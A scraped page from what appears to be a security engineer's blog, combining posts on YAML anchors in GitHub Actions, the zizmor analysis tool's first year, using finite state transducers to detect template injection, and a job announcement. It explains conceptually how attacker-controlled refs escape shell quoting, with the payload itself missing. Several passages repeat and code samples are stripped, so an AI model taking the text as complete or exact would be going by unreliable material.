TL;DR : for a very long time, GitHub Actions lacked support for YAML anchors. This was a good thing . YAML anchors in GitHub Actions are (1) redundant with existing functionality, (2) introduce a complication to the data model that makes CI/CD human and machine comprehension harder, and (3) are not even uniquely useful because GitHub has chosen not to support the one feature (merge keys) that lacks a semantic equivalent in GitHub Actions. For these reasons, YAML anchors are a step backwards that reinforces GitHub Actions’ status as an insecure by default CI/CD platform. GitHub should immediately remove support for YAML anchors, before adoption becomes widespread. GitHub recently announced that YAML anchors are now supported in GitHub Actions. That means that users can write things like this: On face value, this seems like a reasonable feature: the job and step abstractions in GitHub Actions lend themselves to duplication, and YAML anchors are one way to reduce that duplication. Unfortunately, YAML anchors are a terrible tool for this job. Furthermore (as we’ll see) GitHub’s implementation of YAML anchors is incomplete , precluding the actual small subset of use cases where YAML anchors are uniquely useful (but still not a good idea). We’ll see why below. Pictured: the author’s understanding of the GitHub Actions product roadmap. The simplest reason why YAML anchors are a bad idea is because they’re redundant with other more explicit mechanisms for reducing duplication in GitHub Actions. GitHub’s own example above could be rewritten without YAML anchors as: This version is significantly clearer, but has slightly different semantics: all jobs inherit the workflow-level . But this, in my opinion, is a good thing : the need to template environment variables across a subset of jobs suggests an architectural error in the workflow design. In other words: if you find yourself wanting to use YAML anchors to share “global” configuration between jobs or steps, you probably actually want separate workflows, or at least separate jobs with job-level blocks. In summary: YAML anchors further muddy the abstractions of workflows, jobs, and steps, by introducing a cross-cutting form of global state that doesn’t play by the rules of the rest of the system. This, to me, suggests that the current Actions team lacks a strong set of opinions about how GitHub Actions should be used, leading to a “kitchen sink” approach that serves all users equally poorly. As noted above: YAML anchors introduce a new form of non-locality into GitHub Actions. Furthermore, this form of non-locality is fully general : any YAML node can be anchored and referenced. This is a bad idea for humans and machines alike: For humans: a new form of non-locality makes it harder to preserve local understanding of what a workflow, job, or step does: a unit of work may now depend on any other unit of work in the same file, including one hundreds or thousands of lines away. This makes it harder to reason about the behavior of one’s GitHub Actions without context switching. It would only be fair to note that GitHub Actions already has some forms of non-locality: global contexts, scoping rules for blocks, dependencies, step and job outputs, and so on. These can be difficult to debug! But what sets them apart is their lack of generality : each has precise semantics and scoping rules, meaning that a user who understands those rules can comprehend what a unit of work does without referencing the source of an environment variable, output, &c. For machines: non-locality makes it significantly harder to write tools that analyze (or transform) GitHub Actions workflows. The pain here boils down to the fact that YAML anchors diverge from the one-to-one object model 1 that GitHub Actions otherwise maps onto. With anchors, that mapping becomes one-to-many: the same element may appear once in the source, but multiple times in the loaded object representation. In effect, this breaks a critical assumption that many tools make about YAML in GitHub Actions: that an entity in the deserialized object can be mapped back to a single concrete location in the source YAML. This is needed to present reasonable source locations in error messages, but it doesn’t hold if the object model doesn’t represent anchors and references explicitly. Furthermore, this is the reality for every YAML parser in wide use: all widespread YAML parsers choose (reasonably) to copy anchored values into each location where they’re referenced, meaning that the analyzing tool cannot “see” the original element for source location purposes. I feel these pains directly: I maintain zizmor as a static analysis tool for GitHub Actions, and makes both of these assumptions. Moreover, ’s dependencies make these assumptions: (like most other YAML parsers) chooses to deserialize YAML anchors by copying the anchored value into each location where it’s referenced 2 . One of the few things that make YAML anchors uniquely useful is merge keys : a merge key allows a user to compose multiple referenced mappings together into a single mapping. An example from the YAML spec, which I think tidily demonstrates both their use case and how incredibly confusing merge keys are: I personally find this syntax incredibly hard to read, but at least it has a unique use case that could be useful in GitHub Actions: composing multiple sets of environment variables together with clear precedence rules is manifestly useful. Except: GitHub Actions doesn’t support merge keys ! They appear to be using their own internal YAML parser that already had some degree of support for anchors and references, but not for merge keys. To me, this takes the situation from a set of bad technical decisions (and lack of strong opinions around how GitHub Actions should be used) to farce : the one thing that makes YAML anchors uniquely useful in the context of GitHub Actions is the one thing that GitHub Actions doesn’t support. To summarize, I think YAML anchors in GitHub Actions are (1) redundant with existing functionality, (2) introduce a complication to the data model that makes CI/CD human and machine comprehension harder, and (3) are not even uniquely useful because GitHub has chosen not to support the one feature (merge keys) that lacks a semantic equivalent in GitHub Actions. Of these reasons, I think (2) is the most important: GitHub Actions security has been in the news a great deal recently , with the overwhelming consensus being that it’s too easy to introduce vulnerabilities in (or expose otherwise latent vulnerabilities through ) GitHub Actions workflow. For this reason, we need GitHub Actions to be easy to analyze for humans and machine alike. In effect, this means that GitHub should be decreasing the complexity of GitHub Actions, not increasing it. YAML anchors are a step in the wrong direction for all of the reasons aforementioned. Of course, I’m not without self-interest here: I maintain a static analysis tool for GitHub Actions, and supporting YAML anchors is going to be an absolute royal pain in my ass 3 . But it’s not just me: tools like actionlint , claws , and poutine are all likely to struggle with supporting YAML anchors, as they fundamentally alter each tool’s relationship to GitHub Actions’ assumed data model. As-is, this change blows a massive hole in the larger open source ecosystem’s ability to analyze GitHub Actions for correctness and security. All told: I strongly believe that GitHub should immediately remove support for YAML anchors in GitHub Actions. The “good” news is that they can probably do so with a bare minimum of user disruption, since support has only been public for a few days and adoption is (probably) still primarily at the single-use workflow layer and not the reusable action (or workflow) layer. That object model is essentially the JSON object model, where all elements appear as literal components of their source representation and take a small subset of possible types (string, number, boolean, array, object, null). ↩ In other words: even though YAML itself is a superset of JSON, users don’t want YAML-isms to leak through to the object model. Everybody wants the JSON object model, and that means no “anchor” or “reference” elements anywhere in a deserialized structure. ↩ To the point where I’m not clear it’s actually worth supporting anchors to any meaningful extent, and instead immediately flagging them as an attempt at obfuscation. ↩ For humans: a new form of non-locality makes it harder to preserve local understanding of what a workflow, job, or step does: a unit of work may now depend on any other unit of work in the same file, including one hundreds or thousands of lines away. This makes it harder to reason about the behavior of one’s GitHub Actions without context switching. It would only be fair to note that GitHub Actions already has some forms of non-locality: global contexts, scoping rules for blocks, dependencies, step and job outputs, and so on. These can be difficult to debug! But what sets them apart is their lack of generality : each has precise semantics and scoping rules, meaning that a user who understands those rules can comprehend what a unit of work does without referencing the source of an environment variable, output, &c. For machines: non-locality makes it significantly harder to write tools that analyze (or transform) GitHub Actions workflows. The pain here boils down to the fact that YAML anchors diverge from the one-to-one object model 1 that GitHub Actions otherwise maps onto. With anchors, that mapping becomes one-to-many: the same element may appear once in the source, but multiple times in the loaded object representation. In effect, this breaks a critical assumption that many tools make about YAML in GitHub Actions: that an entity in the deserialized object can be mapped back to a single concrete location in the source YAML. This is needed to present reasonable source locations in error messages, but it doesn’t hold if the object model doesn’t represent anchors and references explicitly. Furthermore, this is the reality for every YAML parser in wide use: all widespread YAML parsers choose (reasonably) to copy anchored values into each location where they’re referenced, meaning that the analyzing tool cannot “see” the original element for source location purposes. I feel these pains directly: I maintain zizmor as a static analysis tool for GitHub Actions, and makes both of these assumptions. Moreover, ’s dependencies make these assumptions: (like most other YAML parsers) chooses to deserialize YAML anchors by copying the anchored value into each location where it’s referenced 2 . That object model is essentially the JSON object model, where all elements appear as literal components of their source representation and take a small subset of possible types (string, number, boolean, array, object, null). ↩ In other words: even though YAML itself is a superset of JSON, users don’t want YAML-isms to leak through to the object model. Everybody wants the JSON object model, and that means no “anchor” or “reference” elements anywhere in a deserialized structure. ↩ To the point where I’m not clear it’s actually worth supporting anchors to any meaningful extent, and instead immediately flagging them as an attempt at obfuscation. ↩

JSON

Ci Cd Yaml

0 views

ENOSUCHBLOG 10 months ago

One year of zizmor

This is a dual purpose post: I’ve released zizmor v1.13.0 , and zizmor has turned one year old 1 ! This release isn’t the biggest one ever, but it does include some nice changes (many of which were contributed or suggested by zizmor’s increasingly large community). Highlights include: A new (pedantic-level) undocumented-permissions audit rule, which flags explicit permission grants (like ) that lack an explanatory comment. Many thanks to @johnbillion for contributing this! (Long requested) support for disabling individual audit rules entirely, via in the configuration. Support for auto-fixing many of the obfuscation audit’s findings, including a brand new constant expression evaluator for github-actions-expressions that can unroll many common cases of obfuscated GitHub Actions expressions. Many thanks to @mostafa for contributing this, along with so much else of zizmor’s auto-fix functionality over the last few releases! Support for “grouped” configurations, which resolve a long-standing architectural limitation in how zizmor loads and applies a user’s configuration. The TL;DR of this change is that versions of zizmor prior to 1.13.0 could only ever load a single configuration file per invocation, which meant that invocations like wouldn’t honor any configuration files in or . This has been changed so that each input group (i.e. each input argument to ) loads its own isolated configuration. In practice, this should have no effect on typical users, since the average user likely only runs or . But it’s something to be aware of (and will likely benefit you) if you’re a bulk user! These changes build on a lot of other recent (v1.10.0 and later) improvements, which could easily be the subject of a much longer post. But I’d like to focus the rest of this post on some numbers for and reflections on the past year of zizmor’s growth. As of today (September 12, 2025), zizmor has: 26 unique audit rules , encompassing a wide range of reactive and proactive security checks for GitHub Actions workflows and action definitions. This is up from 10 rules in the first tagged release (v0.1.0), which predates the changelog. It also undercounts the growth of zizmor’s complexity and feature set, since many of the rules have been significantly enhanced over time. Just over 3000 stars on GitHub, growing from close to zero at the start of the year. Most of that growth was in the shape of a “hockey stick” during the first few months, but growth has been steady overall: About 3.2 million downloads from PyPI alone , just barely squeaking us into the top 10,000 most-downloaded packages on PyPI 2 . Potentially more interesting is the growth in PyPI downloads: around 1 in 5 of those downloads (633K precisely) were in the last month alone . Notably, PyPI is just one of several distribution channels for zizmor: the official Docker image has another ~140K downloads, the Homebrew formula has another ~50K, conda-forge has another ~90K, and so forth. And these are only the ones I can easily track! So, so many cool downstream users: cURL, CPython, PyPI itself, Rust, Rustls, Sigstore, Anubis, and many others are all running zizmor in their CI/CD to proactively catch potential security issues. In addition to these projects (who humble me with their use), I’ve also been thrilled to see entire communities and companies adopt and/or recommend zizmor: pyOpenSci , Grafana Labs , and Wiz have all publicly recommended zizmor based on their own experience or expertise. Roughly 50 contributors , excluding myself and bots, along with several dozen “regulars” who file bug reports and feature requests. This number is easily the most satisfying of the above: it’s a far cry from the project’s start, when I wasn’t sure if anyone would ever use it, let alone contribute to it. Some thoughts and observations from the past year. People like to use zizmor, even though it’s a security tool! Crazy! Most people, including myself , hate security tools : they are, as a class, frustrating to install and configure, obtuse to run, and are arrogantly incorrect in their assumption of user tolerance for signal over noise. My own negative experiences with security tooling made me hesitant to build zizmor in the open: I was worried that (1) no one would use it, or (2) lots of people would use it in anger , and hate it (and me) for it. To my surprise, this didn’t happen! The overwhelming response to zizmor has been positive: I’ve had a lot of people thank me for building it, and specifically for making it pleasant to use. I’ve tried to reflect on what exactly I did to succeed in not eliciting a “hate” reaction to zizmor, and the following things come to mind: It’s very easy to install and run: distributing it via PyPI (even though it’s a pure Rust binary) means that it’s a single or away for most users. It’s very fast by default: offline runs take tens of milliseconds for representative inputs; online runs are slower, but still fast enough to outpace typical CI/CD setups. In other words: people very rarely wait for zizmor to complete, or in the worst case wait no longer than they’re already waiting for the rest of their CI/CD. It strikes the right balance with its persona design: the default (“ regular ”) persona prioritizes signal over noise, while letting users opt into more noisy personae (like pedantic and auditor ) as they please. One outcome from this choice which has been (pleasantly) surprising is seeing users opt into a more sensitive persona than the default, including even enforcing zizmor at the pedantic or auditor level in their CI/CD. I didn’t expect this (I expected most users to ignore non-default personae), and it suggests that zizmor’s other usability-first design decisions afford us a “pain budget” that users are willing to spend on more sensitive checks. On a very basic level, I don’t really want zizmor to exist: what I really want is a CI/CD system that’s secure by construction , and that doesn’t require static analysis to be bolted onto it for a degree of safety. By analogy: I want the Rust of CI/CD, not C or C++ with a layer of ASan slapped on top. GitHub Actions could have been that system (and arguably still could be), but there appears to be relatively little internal political 3 appetite within GitHub for making that happen 4 . In this framing, I’ve come to see zizmor as an external forcing function on GitHub: a low-friction, low-complexity tool that reveals GitHub Actions’ security flaws is also a tool that gives the hardworking engineers inside of GitHub the kind of political ammunition they need to convince their leadership to prioritize the product itself. I’m not conceited enough to think that zizmor (or I) alone am the only such external forcing function: there are many others, including entire companies seeking to capitalize on GitHub Actions’ flaws. However, I do think the last year of zizmor’s development has seen GitHub place more public emphasis on security improvements to GitHub Actions 5 , and I would like to think that zizmor has played at least a small part in that. Six months ago, I would have probably said that zizmor is mostly done : I was happy with its core design and set of audits, and I was having trouble personally imagining what else would be reasonable to add to it. But then, stuff kept happening! zizmor’s user base has continued to identify new things that zizmor should be doing, and have continued to make contributions towards those things. They’ve also identified new ways in which zizmor should operate: the auto-fix mode (v1.10.0) and LSP support (v1.11.0) are just two examples of this. This has made me less certain about what “done” will look like for zizmor: it’s clear to me that a lot of other people have (very good!) ideas about what zizmor can and should do to make the GitHub Actions ecosystem safer, and I’m looking forward to helping to realize those ideas. Some specific things I see on the horizon: More interprocedural analysis: zizmor is largely “intraprocedural” in the moment, in the sense the it analyzes individual inputs (workflows or action definitions) in isolation. This approach makes zizmor simple, but it also leaves us with an partial picture of e.g. a repository’s overall CI/CD posture. As a simple example: the unpinned-uses audit will correctly flag any unpinned action usages, but it won’t detect transitively unpinned usages that cross input boundaries. Better support for large-scale users: it’s increasingly clear to me that a significant portion (and increasing) portion of zizmor’s userbase is security teams within bigger open source projects (and companies), who want to use zizmor as part of “estate management” for dozens, hundreds, or even thousands of individual repositories. zizmor itself doesn’t struggle to operate in these settings, but large scales make it harder to triage and incrementally address zizmor’s findings. I’m not sure exactly what an improved UX for bulk triage will look like, but some kind of GitHub App integration seems worth exploring 6 . A bigger architectural reevaluation: zizmor’s current architecture is naïve in the sense that individual audits don’t share or re-use computation between each other. For example, two audits that both evaluate GitHub Actions expressions will independently re-parse those expressions rather than caching that reusing that work. This is not a performance issue at zizmor’s current audit count, but will likely eventually become one. When this happens, I’ll likely need to think about a larger architectural change that allows audits to either share computed analysis state or push more analysis state into zizmor’s input collection phase. Another (unrelated) architectural change that’ll likely eventually need to happen involves , which zizmor currently uses extensively: its deprecated status is a long-term maintenance risk. My hope is that alternatives (like saphyr , which I’ve been following) will become sufficiently mature and feature-rich in the medium-long term to enable fully replacing (and potentially even some of our use of in e.g. and .). It depends on how you count: zizmor’s first commit was roughly 13 months ago, while its first tagged release (v0.1.0) was roughly 11 months ago. So I’m splitting the two and saying it’s been one year. ↩ Number #9,047 as of time of writing. ↩ Read: product leadership. I have a great deal of faith in and respect for GitHub’s engineers, who seem to be uniformly upset about the slow-but-accelerating degradation of GitHub’s product quality. ↩ A more cynical framing would be that GitHub has entered the “value strip-mining” phase of its product lifecycle, where offerings like GitHub Actions are kept alive just enough to meet contractual obligations and serve as a staging bed for the next round of “innovation” (read: AI in more places). Fixing longstanding flaws in GitHub Actions’ design and security model would not benefit this phase, so it is not prioritized. ↩ Off the top of my head: immutable actions/releases , fixing action policies , acknowledging how dangerous is, &c. ↩ This avenue of exploration is not without risks: my experience has been that many security tools that choose to go the “app” integration route end up as Yet Another Infernal Dashboard that security teams dread actually using. ↩ A new (pedantic-level) undocumented-permissions audit rule, which flags explicit permission grants (like ) that lack an explanatory comment. Many thanks to @johnbillion for contributing this! (Long requested) support for disabling individual audit rules entirely, via in the configuration. Support for auto-fixing many of the obfuscation audit’s findings, including a brand new constant expression evaluator for github-actions-expressions that can unroll many common cases of obfuscated GitHub Actions expressions. Many thanks to @mostafa for contributing this, along with so much else of zizmor’s auto-fix functionality over the last few releases! Support for “grouped” configurations, which resolve a long-standing architectural limitation in how zizmor loads and applies a user’s configuration. The TL;DR of this change is that versions of zizmor prior to 1.13.0 could only ever load a single configuration file per invocation, which meant that invocations like wouldn’t honor any configuration files in or . This has been changed so that each input group (i.e. each input argument to ) loads its own isolated configuration. In practice, this should have no effect on typical users, since the average user likely only runs or . But it’s something to be aware of (and will likely benefit you) if you’re a bulk user! 26 unique audit rules , encompassing a wide range of reactive and proactive security checks for GitHub Actions workflows and action definitions. This is up from 10 rules in the first tagged release (v0.1.0), which predates the changelog. It also undercounts the growth of zizmor’s complexity and feature set, since many of the rules have been significantly enhanced over time. Just over 3000 stars on GitHub, growing from close to zero at the start of the year. Most of that growth was in the shape of a “hockey stick” during the first few months, but growth has been steady overall: About 3.2 million downloads from PyPI alone , just barely squeaking us into the top 10,000 most-downloaded packages on PyPI 2 . Potentially more interesting is the growth in PyPI downloads: around 1 in 5 of those downloads (633K precisely) were in the last month alone . Notably, PyPI is just one of several distribution channels for zizmor: the official Docker image has another ~140K downloads, the Homebrew formula has another ~50K, conda-forge has another ~90K, and so forth. And these are only the ones I can easily track! So, so many cool downstream users: cURL, CPython, PyPI itself, Rust, Rustls, Sigstore, Anubis, and many others are all running zizmor in their CI/CD to proactively catch potential security issues. In addition to these projects (who humble me with their use), I’ve also been thrilled to see entire communities and companies adopt and/or recommend zizmor: pyOpenSci , Grafana Labs , and Wiz have all publicly recommended zizmor based on their own experience or expertise. Roughly 50 contributors , excluding myself and bots, along with several dozen “regulars” who file bug reports and feature requests. This number is easily the most satisfying of the above: it’s a far cry from the project’s start, when I wasn’t sure if anyone would ever use it, let alone contribute to it. It’s very easy to install and run: distributing it via PyPI (even though it’s a pure Rust binary) means that it’s a single or away for most users. It’s very fast by default: offline runs take tens of milliseconds for representative inputs; online runs are slower, but still fast enough to outpace typical CI/CD setups. In other words: people very rarely wait for zizmor to complete, or in the worst case wait no longer than they’re already waiting for the rest of their CI/CD. It strikes the right balance with its persona design: the default (“ regular ”) persona prioritizes signal over noise, while letting users opt into more noisy personae (like pedantic and auditor ) as they please. One outcome from this choice which has been (pleasantly) surprising is seeing users opt into a more sensitive persona than the default, including even enforcing zizmor at the pedantic or auditor level in their CI/CD. I didn’t expect this (I expected most users to ignore non-default personae), and it suggests that zizmor’s other usability-first design decisions afford us a “pain budget” that users are willing to spend on more sensitive checks. More interprocedural analysis: zizmor is largely “intraprocedural” in the moment, in the sense the it analyzes individual inputs (workflows or action definitions) in isolation. This approach makes zizmor simple, but it also leaves us with an partial picture of e.g. a repository’s overall CI/CD posture. As a simple example: the unpinned-uses audit will correctly flag any unpinned action usages, but it won’t detect transitively unpinned usages that cross input boundaries. Better support for large-scale users: it’s increasingly clear to me that a significant portion (and increasing) portion of zizmor’s userbase is security teams within bigger open source projects (and companies), who want to use zizmor as part of “estate management” for dozens, hundreds, or even thousands of individual repositories. zizmor itself doesn’t struggle to operate in these settings, but large scales make it harder to triage and incrementally address zizmor’s findings. I’m not sure exactly what an improved UX for bulk triage will look like, but some kind of GitHub App integration seems worth exploring 6 . A bigger architectural reevaluation: zizmor’s current architecture is naïve in the sense that individual audits don’t share or re-use computation between each other. For example, two audits that both evaluate GitHub Actions expressions will independently re-parse those expressions rather than caching that reusing that work. This is not a performance issue at zizmor’s current audit count, but will likely eventually become one. When this happens, I’ll likely need to think about a larger architectural change that allows audits to either share computed analysis state or push more analysis state into zizmor’s input collection phase. Another (unrelated) architectural change that’ll likely eventually need to happen involves , which zizmor currently uses extensively: its deprecated status is a long-term maintenance risk. My hope is that alternatives (like saphyr , which I’ve been following) will become sufficiently mature and feature-rich in the medium-long term to enable fully replacing (and potentially even some of our use of in e.g. and .). It depends on how you count: zizmor’s first commit was roughly 13 months ago, while its first tagged release (v0.1.0) was roughly 11 months ago. So I’m splitting the two and saying it’s been one year. ↩ Number #9,047 as of time of writing. ↩ Read: product leadership. I have a great deal of faith in and respect for GitHub’s engineers, who seem to be uniformly upset about the slow-but-accelerating degradation of GitHub’s product quality. ↩ A more cynical framing would be that GitHub has entered the “value strip-mining” phase of its product lifecycle, where offerings like GitHub Actions are kept alive just enough to meet contractual obligations and serve as a staging bed for the next round of “innovation” (read: AI in more places). Fixing longstanding flaws in GitHub Actions’ design and security model would not benefit this phase, so it is not prioritized. ↩ Off the top of my head: immutable actions/releases , fixing action policies , acknowledging how dangerous is, &c. ↩ This avenue of exploration is not without risks: my experience has been that many security tools that choose to go the “app” integration route end up as Yet Another Infernal Dashboard that security teams dread actually using. ↩

C++

Rust

0 views

ENOSUCHBLOG 11 months ago

Fun with finite state transducers

I recently 1 solved an interesting problem inside with a type of state machine/automaton I hadn’t used before: a finite state transducer (FST) . This is just a quick write-up of the problem and how I solved it. It doesn’t go particularly deep into the data structures themselves. For more information on FSTs themselves, I strongly recommend burntsushi’s article on transducers (which is what actually led me to his crate). TL;DR: I used the crate to build a finite state transducer that maps GitHub Actions context patterns to their logical “capability” in the context of a potential template injection vulnerability. This ended up being an order of magnitude smaller in terms of representation (~14.5KB instead of ~240 KB) and faster and more memory efficient than my naïve initial approaches 2 (tables and prefix trie walks). It also enabled me to fully precompute the FST at compile time, eliminating the startup cost of priming a trie- or table-based map. is a static analysis tool for GitHub Actions. One of the categories of weaknesses it can find is template injections , wherein the CI author uses a GitHub Actions expression in a shell or similar context without realizing that the expression can escape any shell-level quoting intended to “defuse” it. Here’s an example, derived from a pattern that gets exploited over and over again : If this step is part of a workflow that grants elevated privileges to third parties (like ), and attacker can contrive a ref that escapes the shell quoting and runs arbitrary code. For example, the following ref: …would expand 3 as: Fortunately, detects these: There’s a very simple way to detect these vulnerabilities: we could walk every code “sink” in a given workflow (e.g. blocks, action inputs that are known to contain code, &c.) and look for the fences of an expression ( ). If we see those fences, we know that the contents are a potential injection risk. This is appealing for reasons of simplicity, but is unacceptably noisy : There are many actions expressions that are trivially safe, or non-trivial but deductively safe: Any expression that can only expand to a literal: Any expression that can’t expand to meaningful code, e.g. due to the expression’s type: There are many expressions that can appear unsafe by virtue of dataflow or context expansion, but are actually safe because of the context’s underlying type or constraints: generally aims to present low-noise findings, so filtering these out by default is paramount. The first group is pretty easy: we can do a small amount of dataflow analysis to determine whether an expression’s evaluation is “tainted” by arbitrary controllable inputs. The second group is harder, because it requires to know additional facts about arbitrary-looking contexts. The two main facts we care about are type (whether a context expands to a string, a number, or something else) and capability (whether the expansion is fully arbitrary, or constrained in some manner that might make it safe or at least less risky). In practice these both collapse down to capability , since we can categorize certain types (e.g. booleans and numbers) as inherently safe. So, what we want is a way to collect facts about every valid GitHub Actions context. The trick to this lies in remembering that, under the hood, GitHub Actions is driven by GitHub’s webhooks API : most 4 of the context state loaded into a GitHub Actions workflow run is derived from the webhook payload corresponding to the event that triggered the workflow. So, how do we get a list of all valid contexts along with information about their expansion? GitHub doesn’t provide this directly, but we can derive it from their OpenAPI specification for the webhooks API . This comes in the form of a ~4.5MB OpenAPI schema , which is pain in the ass to work with directly 5 : it’s both heavily self-referential (by necessity, since an “unrolled” version with inline schemas for each property would infeasibly large), is heavily telescoped (also by necessity, since GitHub’s API responses themselves are not particularly flat), and makes ample use of OpenAPI constructions like , , and that require careful additional handling. At the bottom of all of this, however, is our reward: detailed information about every property provided by each webhook event, including the property’s type and valuable information about how the property is constrained. For example, here’s the schema for a property: This tells us that is a string, but that its value is constrained to either or . We categorize this as having a “fixed” capability, since we know that the attacker can’t control the structure of the value itself in a meaningful way. Long story short: this is implemented as a helper script within called . This script is run periodically in GitHub Actions and walks the OpenAPI scheme to produces a CSV, , that looks like this: …to the tune of about 4000 unique 6 contexts. So, we have a few thousand contexts, each with a capability that tells us how much of a risk that context poses in terms of template injection. We can just shove these into a map and call it a day, right? Wrong. We’ve glossed over a significant wrinkle, which is that context accesses in GitHub Actions are not themselves always literal. Instead, they can be patterns that can expand to multiple values. A good example of this is : is an array of objects , each of which has a property corresponding to the label’s actual name. To access these, we can use syntaxes that select individual labels or all labels: In both cases, we want to apply the same capability to the context’s expansion. To make things even more complicated exciting, GitHub’s own context access syntax is surprisingly malleable: each of the following is a valid and equivalent way to access the first label’s name: ..and so forth. In sum, we have two properties that blow a hole in our “just shove it in a map” approach: To me, this originally smacked of a prefix/radix trie problem: there are a a large number of common prefixes/segments in the pattern set, meaning that the trie could be made relatively compact. However, tries are optimized for operations that the problem doesn’t require: Finally, on a more practical level: I couldn’t find a great trie/radix trie crate to use. Some of this might have been a discovery failure on my part, but I couldn’t find one that was already widely used and still actively maintained. came the closest, but hasn’t been updated in nearly 5 years. While reading about other efficient prefix representation structures, I came across DAFSAs (also sometimes called DAWGs). These offer a significantly more compact representation of prefixes than a trie, but at a cost: unlike a trie, a DAFSA cannot contain auxiliary data. This makes them great for inclusion checking (including of prefixes), but not so great for my purpose of storing each pattern’s associated capability. That brought me to transducers as a class of finite state machines: unlike acceptors (DAFSAs, but also normal DFAs and NFAs) that map from an input sequence to a boolean accept/reject state, transducers map an input sequence to an output sequence. That output sequence can then be composed (e.g. via summation) into an output value. In effect, the “path” an input takes through the transducer yields an output value. In this way, FSTs can behave a lot like a map (whether backed by a prefix trie or a hash table), but with some appealing additional properties: These desirable properties come with downsides too: optimal FST construction requires memory proportional to the total input size, and requires ordered insertion of each input. Modifications to an FST are also limited: optimal insertions must be ordered, while deletions or changes to an associated value require a full rebuild of the FST. In practice, this that FST construction is a static affair over a preprocessed input set. But that’s perfectly fine for my use case! As it turns out, using the crate to construct an FST at build time is pretty simple. Here’s the totality of the code that I put in to transform : …and then, loading and querying it: (where the input has been normalized, e.g. from to ). Everything above was included in zizmor 1.9.0 , as part of a large-scale refactor of the template-injection audit. Was this overkill? Probably: I only have about ~4000 valid context patterns, which would have comfortably fit into a hash table. However, using an FST for this makes the footprint ludicrously and satisfyingly small : each pattern takes less than 4 bytes to represent in the serialized FST, well below the roughly linear memory footprint of loading the equivalent data from . Using an FST also unlocked future optimizations ideas that I haven’t bothered to experiment with yet: A few months ago. ↩ Spoiler: I didn’t bother benchmarking this at the time. ↩ I’ve replaced with a single literal space for readability. ↩ But not all: the and namespaces, for example, are populated by the GitHub Actions runner itself. ↩ I can only assume that these kinds of huge generated schemas are actually useful to others. I think I’ve yet to encounter a JSON or OpenAPI schema that actually made my task at hand easier. ↩ There are significantly more possible contexts than these, but most are overlapping. For example, is shared across all webhook types. In theory we expect these variants of the same context to converge on the same capability — shouldn’t really change type or structure with the webhook type. However, we can’t guarantee that, so in practice we unify duplicate contexts into their “strongest” capability: becomes , for example. This is conceptually an overapproximation, but whatever. ↩ At least, not without breaking out “offline first” policy. Plus, there are other resources whose cardinality GitHub won’t easily tell us. ↩ There are many actions expressions that are trivially safe, or non-trivial but deductively safe: Literals, e.g. or ; Any expression that can only expand to a literal: Any expression that can’t expand to meaningful code, e.g. due to the expression’s type: There are many expressions that can appear unsafe by virtue of dataflow or context expansion, but are actually safe because of the context’s underlying type or constraints: is populated by GitHub’s backend and can only expand to or , but requires us to know a priori that it’s a “safe” context; is an arbitrary string, but is limited in structure to characters that make it infeasible to perform a useful injection with (no semicolons, , &c.). Contexts are patterned , and can’t be expanded into a static finite enumeration of simplified contexts. For example, we can’t know how many labels a repository has 7 , so we can’t statically unfold the context into contexts that match everything the user might write in a workflow. Contexts can be expressed through multiple syntaxes. We can keep things simple on the capability extraction side by only using the -ish syntax, but we still need to normalize any contexts as they appear in workflows. This is not very difficult, but it makes a single map lookup even less appealing. We have a few thousands contexts, each of which is really a pattern that can match one or more “concrete” context usages as they appear in a user’s workflow. Each of these context patterns has an associated capability, as one of , indicating how much of a risk the context poses in terms of template injection. Our goal is to efficiently match these patterns against the contexts as they appear in a user’s workflow, and return the associated capability. Tries are optimized to grow and shrink at runtime, but we don’t need that: the set of context patterns is static, and we’d ideally trade off some compile-time cost for runtime size and speed. Tries can perform efficient prefix and exact matches, but (typically) at the cost of a larger runtime memory footprint. A finite state transducer can compress its entire input, unlike a prefix trie (which only compresses the prefixes). That means a more compact representation. A finite state transducer can share duplicated output values across inputs, unlike a prefix trie or hash table (which would store the same output value multiple times). This also means a more compact representation, and is particularly appealing in our case as we only have a small set of possible capabilities. The FST is currently searched using a normalization of each context as it appears in a workflow. However, FSTs can be searched by any DFA, meaning that I could in theory convert each context into a regular expression instead. I’m unclear on whether this would bring a performance advantage, since the context-to-regex-to-DFA conversion itself is not necessarily cheap. In principle, the FST’s size could be squeezed down even further by splitting the context patterns into segments , rather than decomposing into sequences of bytes. This comes from the observation that many vertices in the FST are shared and singular, meaning that they only have one incoming edge and one outgoing edge. I don’t think the crate supports this natively, but it would yield the prefix deduplication benefits of a prefix trie while still preserving the compression benefits of an FST. A few months ago. ↩ Spoiler: I didn’t bother benchmarking this at the time. ↩ I’ve replaced with a single literal space for readability. ↩ But not all: the and namespaces, for example, are populated by the GitHub Actions runner itself. ↩ I can only assume that these kinds of huge generated schemas are actually useful to others. I think I’ve yet to encounter a JSON or OpenAPI schema that actually made my task at hand easier. ↩ There are significantly more possible contexts than these, but most are overlapping. For example, is shared across all webhook types. In theory we expect these variants of the same context to converge on the same capability — shouldn’t really change type or structure with the webhook type. However, we can’t guarantee that, so in practice we unify duplicate contexts into their “strongest” capability: becomes , for example. This is conceptually an overapproximation, but whatever. ↩ At least, not without breaking out “offline first” policy. Plus, there are other resources whose cardinality GitHub won’t easily tell us. ↩

Programming

JSON

Shell

1 views

ENOSUCHBLOG 1 years ago

A new adventure

This is a personal announcement post: after 7 years at Trail of Bits , I’m leaving to do something new. Specifically, I’ll be joining Astral to help them build the next generation of Python developer tooling. Trail of Bits has been a really wonderful place to work: they hired me right out of college, and gave me the kind of high-trust, applied-lab-like environment that I thrive in. That environment enabled me to build the company’s open source engineering practice from the ground up and drive all kinds of high-visibility , high-impact projects across the worlds of Python , cryptography , fault injection , fuzzing , and too much more to summarize. Finally, I’ve had the immense privilege of working with some of the smartest, friendliest, and most driven people in the world of cybersecurity. It feels cliche to say, but there really are too many to name. Company photo from 2019, my first offsite.

0 views

ENOSUCHBLOG 1 years ago

Bypassing GitHub Actions policies in the dumbest way possible

